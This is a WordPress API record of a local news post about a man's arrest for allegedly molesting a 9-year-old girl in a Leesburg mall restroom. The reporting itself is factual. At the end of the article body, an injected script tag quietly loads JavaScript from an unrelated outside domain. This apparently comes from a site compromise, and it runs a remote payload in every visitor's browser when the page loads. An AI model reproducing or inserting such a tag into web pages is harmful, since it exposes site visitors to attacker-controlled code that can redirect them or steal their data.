{"id":211632,"date":"2017-01-30T15:30:00","date_gmt":"2017-01-30T20:30:00","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211632"},"modified":"2018-01-23T16:03:13","modified_gmt":"2018-01-23T21:03:13","slug":"man-followed-9yo-girl-restroom-arrest-molesting-girl","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/man-followed-9yo-girl-restroom-arrest-molesting-girl\/","title":{"rendered":"Man Followed 9-year-old Girl Into Restroom, Arrest for Molesting Girl"},"content":{"rendered":"<p><strong>LEESBURG &#8211;\u00a0<\/strong>A Eustis man was arrested Sunday evening after allegedly following a 9-year-old girl into a ladies restroom at ViaPort Mall in Leesburg according to reports.<\/p>\n<p>According to the report, Leesburg police officers responded to ViaPort after receiving a call in reference to a possible sexual battery on Sunday, January 29 just after 4:00 pm.<\/p>\n<p>When officers arrived, they spoke with the victim who stated that she entered the ladies restroom and was in a locked bathroom stall when a man entered the restroom and crawled under and into the stall where she was and began touching her inappropriately.<\/p>\n<p>The man, later identified as 24-year-old Cody Michael Smith, kept telling the girl &#8220;I&#8217;m sorry&#8221; as he touched her, although he never stopped, according to the report.<\/p>\n<p>Smith exited the bathroom when another woman entered after hearing the victim scream.<\/p>\n<p>Officers were able to view surveillance footage that showed the victim enter the restroom followed by Smith a few seconds later.<\/p>\n<p>Officers found Smith shortly after the incident near Sears holding an open pocket knife in his hand.<\/p>\n<p>Smith was arrested and charged with lewd and lascivious battery on a victim under 12 and with burglary.<\/p>\n<p>During the booking process, officers discovered Smith was on probation after serving 3 years in prison on a similar charge in 2012.<\/p>\n<p>Smith was additionally charged with violation of probation.<\/p>\n<p>He was transported to the Lake County Jail where he is being held without bond.<\/p>\n<p>Smith is scheduled to appear in court on February 27 at 8:30 am.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG &#8211;\u00a0A Eustis man was arrested Sunday evening after allegedly following a 9-year-old girl into a ladies restroom at ViaPort Mall in Leesburg according to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":211633,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,6,1],"tags":[657,217,214,79,80,498,2453,83,1413,2454,1315,1551,524,1872,133],"class_list":["post-211632","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-lake-county","category-local","tag-arrested","tag-battery","tag-child","tag-lake","tag-lake-county","tag-leesbrug","tag-lewd","tag-mall","tag-molestation","tag-pedophile","tag-smith","tag-via-entertainment","tag-via-port","tag-viaentertainment","tag-viaport","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/01\/cody-michael-smith.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211632","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211632"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211632\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211633"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211632"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211632"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211632"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}